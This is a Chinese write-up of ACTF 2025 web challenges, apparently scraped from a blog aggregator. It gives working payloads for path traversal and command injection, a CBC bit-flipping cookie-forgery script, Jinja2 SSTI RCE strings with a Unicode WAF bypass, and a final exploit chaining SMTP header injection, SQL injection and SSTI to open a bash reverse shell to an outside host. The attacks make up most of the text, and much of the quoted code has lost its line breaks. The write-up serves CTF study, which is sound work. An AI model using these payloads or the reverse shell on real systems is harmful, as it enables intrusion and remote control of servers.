2025ACTF Web部分题解

文章目录

      • ACTF upload
      • not so web 1
      • not so web 2

ACTF upload

前面登录随便输入可以进入文件上传页面, 随便上传一张图片, 发现路由存在file_path参数, 尝试路径穿越读取文件

发现可以成功读取

在这里插入图片描述

在这里插入图片描述

读取源码

/upload?file_path=../app.py
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, sessionapp = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')@app.route('/')
def index():if session.get('username'):return redirect(url_for('upload'))else:return redirect(url_for('login'))@app.route('/login', methods=['POST', 'GET'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username == 'admin':if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':session['username'] = usernamereturn redirect(url_for('index'))else:flash('Invalid password')else:session['username'] = usernamereturn redirect(url_for('index'))else:return '''<h1>Login</h1><h2>No need to register.</h2><form action="/login" method="post"><label for="username">Username:</label><input type="text" id="username" name="username" required><br><label for="password">Password:</label><input type="password" id="password" name="password" required><br><input type="submit" value="Login"></form>'''@app.route('/upload', methods=['POST', 'GET'])
def upload():if not session.get('username'):return redirect(url_for('login'))if request.method == 'POST':f = request.files['file']file_path = str(uuid.uuid4()) + '_' + f.filenamef.save('./uploads/' + file_path)return redirect(f'/upload?file_path={file_path}')else:if not request.args.get('file_path'):return '''<h1>Upload Image</h1><form action="/upload" method="post" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'''else:file_path = './uploads/' + request.args.get('file_path')if session.get('username') != 'admin':with open(file_path, 'rb') as f:content = f.read()b64 = base64.b64encode(content)return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'else:os.system(f'base64 {file_path} > /tmp/{file_path}.b64')# with open(f'/tmp/{file_path}.b64', 'r') as f:#     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'return 'Sorry, but you are not allowed to view this image.'if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

看到源码可知需要伪造admin用户, 可以利用os.system执行命令

先读取环境拿到里面的密钥

/upload?file_path=../../proc/self/environ
SECRET_KEY=S3cRetK3y

构造出admin的session(自己本地搭一下环境运行一下就可以)

admin:
eyJ1c2VybmFtZSI6ImFkbWluIn0.aAxpFg.aoP1NENbn7PB_OgfFISupEFOT_A

构造payload

/upload?file_path=../$(cat+/Fl4g_is_H3r3>/tmp/111.txt)

然后读取就行

在这里插入图片描述

在这里插入图片描述

not so web 1

描述: Web不够,其他来凑

注册登录进去给了源码

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (Flask,render_template,render_template_string,request,redirect,url_for,flash,session,
)app = Flask(__name__)
app.secret_key = KEY@dataclass(kw_only=True)
class APPUser:name: strpassword_raw: strregister_time: int#  In-memory store for user registration
users: Dict[str, APPUser] = {"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}def validate_cookie(cookie: str) -> bool:if not cookie:return Falsetry:cookie_encrypted = base64.b64decode(cookie, validate=True)except binascii.Error:return Falseif len(cookie_encrypted) < 32:return Falsetry:iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]cipher = AES.new(KEY, AES.MODE_CBC, iv)cookie_json = cipher.decrypt(padded)except ValueError:return Falsetry:_ = json.loads(cookie_json)except Exception:return Falsereturn Truedef parse_cookie(cookie: str) -> Tuple[bool, str]:if not cookie:return False, ""try:cookie_encrypted = base64.b64decode(cookie, validate=True)except binascii.Error:return False, ""if len(cookie_encrypted) < 32:return False, ""try:iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]cipher = AES.new(KEY, AES.MODE_CBC, iv)decrypted = cipher.decrypt(padded)cookie_json_bytes = unpad(decrypted, 16)cookie_json = cookie_json_bytes.decode()except ValueError:return False, ""try:cookie_dict = json.loads(cookie_json)except Exception:return False, ""return True, cookie_dict.get("name")def generate_cookie(user: APPUser) -> str:cookie_dict = asdict(user)cookie_json = json.dumps(cookie_dict)cookie_json_bytes = cookie_json.encode()iv = os.urandom(16)padded = pad(cookie_json_bytes, 16)cipher = AES.new(KEY, AES.MODE_CBC, iv)encrypted = cipher.encrypt(padded)return base64.b64encode(iv + encrypted).decode()@app.route("/")
def index():if validate_cookie(request.cookies.get("jwbcookie")):return redirect(url_for("home"))return redirect(url_for("login"))@app.route("/register", methods=["GET", "POST"])
def register():if request.method == "POST":user_name = request.form["username"]password = request.form["password"]if user_name in users:flash("Username already exists!", "danger")else:users[user_name] = APPUser(name=user_name, password_raw=password, register_time=int(time.time()))flash("Registration successful! Please login.", "success")return redirect(url_for("login"))return render_template("register.html")@app.route("/login", methods=["GET", "POST"])
def login():if request.method == "POST":username = request.form["username"]password = request.form["password"]if username in users and users[username].password_raw == password:resp = redirect(url_for("home"))resp.set_cookie("jwbcookie", generate_cookie(users[username]))return respelse:flash("Invalid credentials. Please try again.", "danger")return render_template("login.html")@app.route("/home")
def home():valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))if not valid or not current_username:return redirect(url_for("logout"))user_profile = users.get(current_username)if not user_profile:return redirect(url_for("logout"))if current_username == "admin":payload = request.args.get("payload")html_template = """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Home</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body><div class="container"><h2 class="text-center">Welcome, %s !</h2><div class="text-center">Your payload: %s</div><img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image"><div class="text-center"><a href="/logout" class="btn btn-danger">Logout</a></div></div>
</body>
</html>
""" % (current_username,payload,)else:html_template = ("""
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Home</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body><div class="container"><h2 class="text-center">server code (encoded)</h2><div class="text-center" style="word-break:break-all;">{%% raw %%}%s{%% endraw %%}</div><div class="text-center"><a href="/logout" class="btn btn-danger">Logout</a></div></div>
</body>
</html>
"""% base64.b64encode(open(__file__, "rb").read()).decode())return render_template_string(html_template)@app.route("/logout")
def logout():resp = redirect(url_for("login"))resp.delete_cookie("jwbcookie")return respif __name__ == "__main__":app.run()

分析一下源码需要以admin的用户登录, 可以进行ssti注入rce

但是admin的密码和key在secret.py里面, 而这里也不存在文件读取的漏洞, 所以无法获取key和密码

应该就是从加密和解密函数入手

存在一个CBC字节翻转攻击的利用

根据源码本地搭建一下环境调试一下

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
# from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (Flask,render_template,render_template_string,request,redirect,url_for,flash,session,
)KEY=b'sixteen_byte_key'
app = Flask(__name__)
app.secret_key = KEY
ADMIN_PASSWORD=b'test_password'@dataclass(kw_only=True)
class APPUser:name: strpassword_raw: strregister_time: int#  In-memory store for user registration
users: Dict[str, APPUser] = {"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}def validate_cookie(cookie: str) -> bool:if not cookie:return Falsetry:cookie_encrypted = base64.b64decode(cookie, validate=True)except binascii.Error:return Falseif len(cookie_encrypted) < 32:return Falsetry:iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]cipher = AES.new(KEY, AES.MODE_CBC, iv)cookie_json = cipher.decrypt(padded) # 没有去除填充这一步, 可能存在问题except ValueError:return Falsetry:_ = json.loads(cookie_json)except Exception:return Falsereturn True# 解析加密后的cookie
def parse_cookie(cookie: str) -> Tuple[bool, str]:if not cookie:return False, ""try:cookie_encrypted = base64.b64decode(cookie, validate=True)print(b"[+]cookie_encrypted:"+cookie_encrypted)except binascii.Error:return False, ""if len(cookie_encrypted) < 32:return False, ""try:iv, padded = cookie_encrypted[:16], cookie_encrypted[16:] #前16为iV, 剩余部分为加密数据cipher = AES.new(KEY, AES.MODE_CBC, iv) # 创建解密器decrypted = cipher.decrypt(padded) # 解密print(b"[+]decrypted:"+decrypted)cookie_json_bytes = unpad(decrypted, 16) # 去除填充print(b"[+]cookie_json_bytes:"+cookie_json_bytes)cookie_json = cookie_json_bytes.decode() #将字节数据转为字符串print("[+]cookie_json:"+cookie_json)except ValueError:return False, ""try:cookie_dict = json.loads(cookie_json) #反序列化JSON字符串为字典print("[+]cookie_dict:"+str(cookie_dict))except Exception:return False, ""return True, cookie_dict.get("name")# 生成加密的cookie
def generate_cookie(user: APPUser) -> str:cookie_dict = asdict(user)print("[+]cookie_dict:" + str(cookie_dict))cookie_json = json.dumps(cookie_dict)print("[+]cookie_json:"+cookie_json)cookie_json_bytes = cookie_json.encode()iv = os.urandom(16) # 生成随机的初始化向量print(b"[+]iv:"+iv)padded = pad(cookie_json_bytes, 16) # 将数据填充到AES加密所需的块大小cipher = AES.new(KEY, AES.MODE_CBC, iv) # 创建加密器encrypted = cipher.encrypt(padded) # 执行加密print("[+]encrypted:"+str(encrypted))print("[+]base64:"+base64.b64encode(iv + encrypted).decode())return base64.b64encode(iv + encrypted).decode()@app.route("/")
def index():if validate_cookie(request.cookies.get("jwbcookie")):return redirect(url_for("home"))return redirect(url_for("login"))@app.route("/register", methods=["GET", "POST"])
def register():if request.method == "POST":user_name = request.form["username"]password = request.form["password"]if user_name in users:flash("Username already exists!", "danger")else:users[user_name] = APPUser(name=user_name, password_raw=password, register_time=int(time.time()))flash("Registration successful! Please login.", "success")return redirect(url_for("login"))return render_template("register.html")@app.route("/login", methods=["GET", "POST"])
def login():if request.method == "POST":username = request.form["username"]password = request.form["password"]if username in users and users[username].password_raw == password:resp = redirect(url_for("home"))resp.set_cookie("jwbcookie", generate_cookie(users[username]))return respelse:flash("Invalid credentials. Please try again.", "danger")return render_template("login.html")@app.route("/home")
def home():valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))print("[+]current_username:"+current_username)if not valid or not current_username:return redirect(url_for("logout"))user_profile = users.get(current_username)if not user_profile:return redirect(url_for("logout"))if current_username == "admin":payload = request.args.get("payload")html_template = """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Home</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body><div class="container"><h2 class="text-center">Welcome, %s !</h2><div class="text-center">Your payload: %s</div><img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image"><div class="text-center"><a href="/logout" class="btn btn-danger">Logout</a></div></div>
</body>
</html>
""" % (current_username,payload,)else:html_template = ("""
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Home</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body><div class="container"><h2 class="text-center">server code (encoded)</h2><div class="text-center" style="word-break:break-all;">{%% raw %%}%s{%% endraw %%}</div><div class="text-center"><a href="/logout" class="btn btn-danger">Logout</a></div></div>
</body>
</html>
"""% base64.b64encode(open(__file__, "rb").read()).decode())return render_template_string(html_template)@app.route("/logout")
def logout():resp = redirect(url_for("login"))resp.delete_cookie("jwbcookie")return respif __name__ == "__main__":app.run()

注册一个用户 ddmin, 拿到它的一个初始明文: {"name": "ddmin", "password_raw": "123", "register_time": 1745673597}

以及相对应的cookie: P7Oq9CZtz3Mj/OimRNvxhd8u+Ci0Wd5EMTXi/tO+rpCJfvCWGYra1ykEIK7wgkzaiRkwDawSdZEzSsYVx+65hI92owTbjRbkHZWJjoqeDmfRMWRGvoLwNGt/aq6VVUYP

让AI写一个脚本, 将用户名ddmin修改成admin

import base64# CBC反转攻击函数(针对Base64编码的Cookie)
def cbc_bit_flip_base64(cookie_base64, original_plaintext, target_value, target_start_pos, target_len, block_size=16):"""执行CBC反转攻击,修改Base64编码的Cookie(IV || Ciphertext):param cookie_base64: Base64编码的Cookie(字符串):param original_plaintext: 原始明文(字节串):param target_value: 目标字段值(字节串):param target_start_pos: 目标字段在明文中的起始位置:param target_len: 目标字段长度:param block_size: 块大小(默认16字节):return: 修改后的Base64编码Cookie"""# 解码Base64cookie_bytes = base64.b64decode(cookie_base64)if len(cookie_bytes) < block_size:raise ValueError("Cookie too SMALL, expected at least one block (IV)")# 提取IV和密文iv = cookie_bytes[:block_size]ciphertext = cookie_bytes[block_size:]# 计算目标字段所在的块block_index = target_start_pos // block_sizeoffset_in_block = target_start_pos % block_size# 确保目标值长度匹配if len(target_value) != target_len:raise ValueError("Target value length does not match the specified length")# 验证块索引(目标应在第0块,通过IV修改)if block_index != 0:raise ValueError("Target field is not in the first block; adjust the attack logic")# 提取原始明文对应位置的字段original_field = original_plaintext[target_start_pos:target_start_pos + target_len]# 修改IV# P_0 = D_K(C_0) ^ IV => P_0' = D_K(C_0) ^ IV' => IV' = IV ^ P_0 ^ P_0'new_iv = bytearray(iv)for i in range(target_len):if offset_in_block + i < block_size:new_iv[offset_in_block + i] = (iv[offset_in_block + i] ^ original_field[i] ^ target_value[i])# 拼接修改后的IV和原密文modified_cookie_bytes = bytes(new_iv) + ciphertext# 编码为Base64modified_cookie_base64 = base64.b64encode(modified_cookie_bytes).decode('utf-8')return modified_cookie_base64# 示例
def main():# 输入的Base64 Cookiecookie_base64 = "0slJTJR8L1NKM3jiLlTCFbshlQizPVlRW9auQUW93128rDhF9Bs+2/Iijr3EUBFzEM/XslFHwHC3OdD0apCgYXEWKtsXkCC+cmBYd2CZ7EXo41AAfsCflNiCc4Ee79Fd"print(f"Original Cookie (Base64): {cookie_base64}")# 原始明文original_plaintext = b'{"name": "ddmin", "password_raw": "123", "register_time": 1745673597}'print(f"Original Plaintext: {original_plaintext.decode()}")# 目标值:将"ddmin"改为"admin"target_value = b"admin"target_start_pos = original_plaintext.index(b"ddmin")  # "ddmin"在明文中的起始位置target_len = len(b"ddmin")  # 字段长度# 执行CBC反转攻击modified_cookie_base64 = cbc_bit_flip_base64(cookie_base64, original_plaintext, target_value, target_start_pos, target_len)print(f"Modified Cookie (Base64): {modified_cookie_base64}")if __name__ == "__main__":main()

拿到这个生成的cookie直接替换掉原来的cookie: 0slJTJR8L1NKM33iLlTCFbshlQizPVlRW9auQUW93128rDhF9Bs+2/Iijr3EUBFzEM/XslFHwHC3OdD0apCgYXEWKtsXkCC+cmBYd2CZ7EXo41AAfsCflNiCc4Ee79Fd

可以发现就已经是admin的用户了

在这里插入图片描述

接下来就可以直接ssti进行rce了

/home?payload={{config.__class__.__init__.__globals__['os'].popen('cat+flag.txt').read()}}Cookie: jwbcookie=0slJTJR8L1NKM33iLlTCFbshlQizPVlRW9auQUW93128rDhF9Bs+2/Iijr3EUBFzEM/XslFHwHC3OdD0apCgYXEWKtsXkCC+cmBYd2CZ7EXo41AAfsCflNiCc4Ee79Fd

在这里插入图片描述

not so web 2

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (Flask,render_template,render_template_string,request,redirect,url_for,flash,session,abort,
)app = Flask(__name__)
app.secret_key = KEYif os.path.exists("/etc/ssl/nginx/local.key"):private_key = RSA.importKey(open("/etc/ssl/nginx/local.key", "r").read())
else:private_key = RSA.generate(2048)public_key = private_key.publickey()@dataclass
class APPUser:name: strpassword_raw: strregister_time: int#  In-memory store for user registration
users: Dict[str, APPUser] = {"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}def validate_cookie(cookie_b64: str) -> bool:valid, _ = parse_cookie(cookie_b64)return validdef parse_cookie(cookie_b64: str) -> Tuple[bool, str]:if not cookie_b64:return False, ""try:cookie = base64.b64decode(cookie_b64, validate=True).decode()except binascii.Error:return False, ""try:msg_str, sig_hex = cookie.split("&")except Exception:return False, ""msg_dict = json.loads(msg_str)msg_str_bytes = msg_str.encode()msg_hash = SHA256.new(msg_str_bytes)sig = bytes.fromhex(sig_hex)try:PKCS1_v1_5.new(public_key).verify(msg_hash, sig)valid = Trueexcept (ValueError, TypeError):valid = Falsereturn valid, msg_dict.get("user_name")def generate_cookie(user: APPUser) -> str:msg_dict = {"user_name": user.name, "login_time": int(time.time())}msg_str = json.dumps(msg_dict)msg_str_bytes = msg_str.encode()msg_hash = SHA256.new(msg_str_bytes)sig = PKCS1_v1_5.new(private_key).sign(msg_hash)sig_hex = sig.hex()packed = msg_str + "&" + sig_hexreturn base64.b64encode(packed.encode()).decode()@app.route("/")
def index():if validate_cookie(request.cookies.get("jwbcookie")):return redirect(url_for("home"))return redirect(url_for("login"))@app.route("/register", methods=["GET", "POST"])
def register():if request.method == "POST":user_name = request.form["username"]password = request.form["password"]if user_name in users:flash("Username already exists!", "danger")else:users[user_name] = APPUser(name=user_name, password_raw=password, register_time=int(time.time()))flash("Registration successful! Please login.", "success")return redirect(url_for("login"))return render_template("register.html")@app.route("/login", methods=["GET", "POST"])
def login():if request.method == "POST":username = request.form["username"]password = request.form["password"]if username in users and users[username].password_raw == password:resp = redirect(url_for("home"))resp.set_cookie("jwbcookie", generate_cookie(users[username]))return respelse:flash("Invalid credentials. Please try again.", "danger")return render_template("login.html")@app.route("/home")
def home():valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))if not valid or not current_username:return redirect(url_for("logout"))user_profile = users.get(current_username)if not user_profile:return redirect(url_for("logout"))if current_username == "admin":payload = request.args.get("payload")if payload:for char in payload:if char in "'_#&;":abort(403)returnhtml_template = """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Home</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body><div class="container"><h2 class="text-center">Welcome, %s !</h2><div class="text-center">Your payload: %s</div><img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image"><div class="text-center"><a href="/logout" class="btn btn-danger">Logout</a></div></div>
</body>
</html>
""" % (current_username,payload,)else:html_template = ("""
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Home</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body><div class="container"><h2 class="text-center">server code (encoded)</h2><div class="text-center" style="word-break:break-all;">{%% raw %%}%s{%% endraw %%}</div><div class="text-center"><a href="/logout" class="btn btn-danger">Logout</a></div></div>
</body>
</html>
"""% base64.b64encode(open(__file__, "rb").read()).decode())return render_template_string(html_template)@app.route("/logout")
def logout():resp = redirect(url_for("login"))resp.delete_cookie("jwbcookie")return respif __name__ == "__main__":app.run()

构造特殊用户名:

JSON 键覆盖特性 :
json.loads() 在解析重复键时,以最后一个键值为准

user", "user_name": "admin
jwbcookie=eyJ1c2VyX25hbWUiOiAidXNlciIsICJ1c2VyX25hbWUiOiAiYWRtaW4iLCAibG9naW5fdGltZSI6IDE3NDU2OTA0NzJ9JjFhYmM5Nzc1MmZhYzg5YzNmYmMwMjJkYzdhMjlmZDhkNzc3MGNiZDUzY2FjY2M2NTA2ODk4YjdkYWZjMGQ5ZTFhNDE1ZWMzM2I0M2ZiZmM3M2JiZGFiZGVmZDVhOTg4MTVlYjYxZTcwYjNmZmJkOTIyNmJhNDY0ZDY1NTA1MzE5NjI5ZGFmZjMxZWY4OWFkMzhhNmFmZDFhOTg5ZWI4ZjAwZjRjYTZmYmEyMjMzYjdhZWY5OGQyZWEzZjhmNTc4NjY3M2QxNzM0Mjg4YjdmOGMyMDkwYzlmODQ2ZmM4OWQxM2E2ZDkzOGE3MTVkODRjMzEyODRjZDJlOGRjYzMxNDNjZjgzZDU3MjE1OGQyODY0YWU5NGYwYWEyYzIwZDQwMGI1MmVjOTNjN2I0MGNjNmJjNmQ5ODRkYmU3OGNhOWM4YWE4ZDM3MzE1YzA1YTc4NDkxYmQzZDA0Y2EwMmEzOThjNTI3ZTc3ZDgxZGE3OGI5MmI0NTk2ZTE1MzJlZDFkOGVlNjFkNzQ1NWEyNWZjYThlMTY2OWJlODA0NjAwOWQwYTkxNjBhZmM2ZGQ3OTIwYTE0Yzc3NTYzNTM4MTFhODUwNDgwMTljMTA4ZWYxNmE5NmUzNTZiODhlZmIyMTUwNDYxODMzZWYxZTY3NmQyMzY1NWU0NjUwZDFiNmQxZmI0

可以成功伪造为admin

在这里插入图片描述

但是还对payload加了一些waf

payload = request.args.get("payload")if payload:for char in payload:if char in "'_#&;":abort(403)return

不知道为什么在yakit上面没反应, 只能在浏览器上面测试

通过Unicode编码绕过

/home?payload={{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat flag.txt")|attr("\u0072\u0065\u0061\u0064")()}}

在这里插入图片描述

Excellent-Site

import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *app = Flask(__name__)def get_subjects(username, password):imap_server = "ezmail.org"imap_port = 143try:print("[+]进入get_subjects")mail = imaplib.IMAP4(imap_server, imap_port) # IMAP4协议(非加密,端口143)连接邮箱服务器print("[+]mail:",mail)print("111")mail.login(username, password)mail.select("inbox") # 选择用户的收件箱status, messages = mail.search(None, 'FROM "admin@ezmail.org"') # 限定了只搜索admin@ezmail.org的邮件print("222")if status != "OK":return ""subject = ""latest_email = messages[0].split()[-1] # 最新的一封邮件print("[+]latest_email", latest_email)status, msg_data = mail.fetch(latest_email, "(RFC822)") # 根据邮件ID获取邮件的原始数据(RFC822格式)print("[+]msg_data:",msg_data)for response_part in msg_data: # 从邮件头中提取并解码Subject字段,返回主题内容if isinstance(response_part, tuple):msg = email.message_from_bytes(response_part  [1])subject, encoding = decode_header(msg["Subject"])  [0]if isinstance(subject, bytes):subject = subject.decode(encoding if encoding else 'utf-8')print("[+]subject:", subject)mail.logout()return subjectexcept:return "ERROR"def fetch_page_content(url):try:parsed_url = urlparse(url)if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':return "SSRF Attack!"response = requests.get(url)if response.status_code == 200:return response.textelse:return "ERROR"except:return "ERROR"@app.route("/report", methods=["GET", "POST"])
def report():message = ""if request.method == "POST":url = request.form["url"]content = request.form["content"]smtplib._quote_periods = lambda x: xmail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""try:server = smtplib.SMTP("ezmail.org")mail_content = smtplib._fix_eols(mail_content)mail_content = mail_content.format(url=url, content=content)server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)message = "Submitted! Now wait till the end of the world."except:message = "Send FAILED"return render_template("report.html", message=message)@app.route("/bot", methods=["GET"])
def bot():# requests.get("http://ezmail.org:3000/admin")requests.get("http://127.0.0.1:3000/admin")return "The admin is checking your advice(maybe)"@app.route("/admin", methods=["GET"])
def admin():ip = request.remote_addrif ip != "127.0.0.1":return "Forbidden IP"print("[+]进入admin")subject = get_subjects("admin", "p@ssword")print("[+]subject:",subject)if subject.startswith("http://ezmail.org"):page_content = fetch_page_content(subject)return render_template_string(f"""<h2>Newest Advice(from myself)</h2><div>{page_content}</div>""")return ""@app.route("/news", methods=["GET"])
def news():news_id = request.args.get("id")if not news_id:news_id = 1conn = sqlite3.connect("news.db")cursor = conn.cursor()cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")result = cursor.fetchone()conn.close()if not result:return "Page not found.", 404return result[0]@app.route("/")
def index():return render_template("index.html")if __name__ == "__main__":app.run(host="0.0.0.0", port=3000)

这里固定邮件来自ignored@ezmail.org

mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""

但是get_subjects方法里面又规定了只搜索来自admin@ezmail.org的邮件

status, messages = mail.search(None, 'FROM "admin@ezmail.org"') 

所以这里应该需要伪造, 考虑这种形式

url = http://ezmail.org@127.0.0.1:3000/admin\r\nFrom:+admin@ezmail.org

ezmail.org连不了, 本地无法调试, 不知道咋弄, 先放弃

后面看其他佬的wp, 原来要用到sql注入来伪造邮件来源, 不过感觉还是没太看懂其他那些, 也没有环境复现了

import requests
import base64URL = "http://sensitive_ip:52098"cmd = "sensitive_ip/30001"
bases64_cmd = base64.b64encode(f"bash -c 'bash -i>/dev/tcp/{cmd} 0>&1 2>&1'".encode()).decode()exp_data =  """{% for i in ''.__class__.__base__.__subclasses__() %}
{% if i.__name__ == "_wrap_close" %}
{% set a = i.__init__.__globals__['popen']('echo """ + bases64_cmd + """|base64 -d|sh').read() %}
{% endif %}
{% endfor %}'"""try:rep = requests.post(url=URL + "/report",data={"url":"http://ezmail.org:3000/news?id=" + f"2 union select unhex('{exp_data.encode('utf-8').hex()}') limit 1,1\r\nFrom: admin@ezmail.org","content":"7890"})print(rep.text)rep = requests.get(url=URL + '/bot')print(rep.text)
except Exception as e:print(e)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/78731.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

双目标清单——AI与思维模型【96】

一、定义 双目标清单思维模型是一种将决策或任务分解为两个主要目标&#xff0c;并分别列出相关要素和行动步骤的思维方式。这两个目标通常具有相互关联又有所侧重的特点&#xff0c;通过明确并列出与每个目标相关的具体事项&#xff0c;有助于更清晰地分析问题、制定计划和分…

深度学习系统学习系列【6】之深度学习技巧

文章目录 数据集准备数据集扩展数据预处理1. 0均值&#xff08;Zero Centralization&#xff09;代码实现 2. 归一化&#xff08;Normalization&#xff09;代码实现 3. 主成分分析&#xff08;Principal Component Analysis, PCA&#xff09;实现步骤代码实现 4. 白化&#xf…

rfsoc petalinux适配调试记录

1。安装虚拟机 2.设置共享文件夹 https://xinzhi.wenda.so.com/a/1668239544201149先设置文件夹路径 vmware 12 下安装 ubuntu 16.04 后&#xff0c;按往常的惯例安装 vmware-tools&#xff0c;安装时提示建议使用 open-vm-tools&#xff0c;于是放弃 vmware-tools 的安装&am…

# YOLOv1:开启实时目标检测的新时代

YOLOv1&#xff1a;开启实时目标检测的新时代 在计算机视觉领域&#xff0c;目标检测一直是研究的热点和难点问题。它不仅需要准确地识别出图像中的物体&#xff0c;还需要确定这些物体的位置。YOLO&#xff08;You Only Look Once&#xff09;系列算法以其高效的实时目标检测…

uni-app vue3 实现72小时倒计时功能

功能介绍 &#xff0c;数组项有一个下单时间 &#xff0c;比如今天下单在72小时内可以继续支付&#xff0c;超过则默认取消订单 页面按钮处 加上倒计时 <!-- 倒计时 --> <text v-if"item.timeLeft > 0">{{ formatTime(item.remaining) }}</text&g…

一周学会Pandas2 Python数据处理与分析-Pandas2数据类型转换操作

锋哥原创的Pandas2 Python数据处理与分析 视频教程&#xff1a; 2025版 Pandas2 Python数据处理与分析 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili Pandas 提供了灵活的方法来处理数据类型转换&#xff0c;以下是常见操作及代码示例&#xff1a; 1. 查看数据类型 …

LLM损失函数面试会问到的

介绍一下KL散度 KL&#xff08;Kullback-Leibler散度衡量了两个概率分布之间的差异。其公式为&#xff1a; D K L ( P / / Q ) − ∑ x ∈ X P ( x ) log ⁡ 1 P ( x ) ∑ x ∈ X P ( x ) log ⁡ 1 Q ( x ) D_{KL}(P//Q)-\sum_{x\in X}P(x)\log\frac{1}{P(x)}\sum_{x\in X}…

基于CBOW模型的词向量训练实战:从原理到PyTorch实现

基于CBOW模型的词向量训练实战&#xff1a;从原理到PyTorch实现 在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;词向量是将单词映射为计算机可处理的数值向量的重要方式。通过词向量&#xff0c;单词之间的语义关系能够以数学形式表达&#xff0c;为后续的文本分…

Linux——进程终止/等待/替换

前言 本章主要对进程终止&#xff0c;进程等待&#xff0c;进程替换的详细认识&#xff0c;根据实验去理解其中的原理&#xff0c;干货满满&#xff01; 1.进程终止 概念&#xff1a;进程终止就是释放进程申请的内核数据结构和对应的代码和数据 进程退出的三种状态 代码运行…

iOS开发架构——MVC、MVP和MVVM对比

文章目录 前言MVC&#xff08;Model - View - Controller&#xff09;MVP&#xff08;Model - View - Presenter&#xff09;MVVM&#xff08;Model - View - ViewModel&#xff09; 前言 在 iOS 开发中&#xff0c;MVC、MVVM、和 MVP 是常见的三种架构模式&#xff0c;它们主…

0506--01-DA

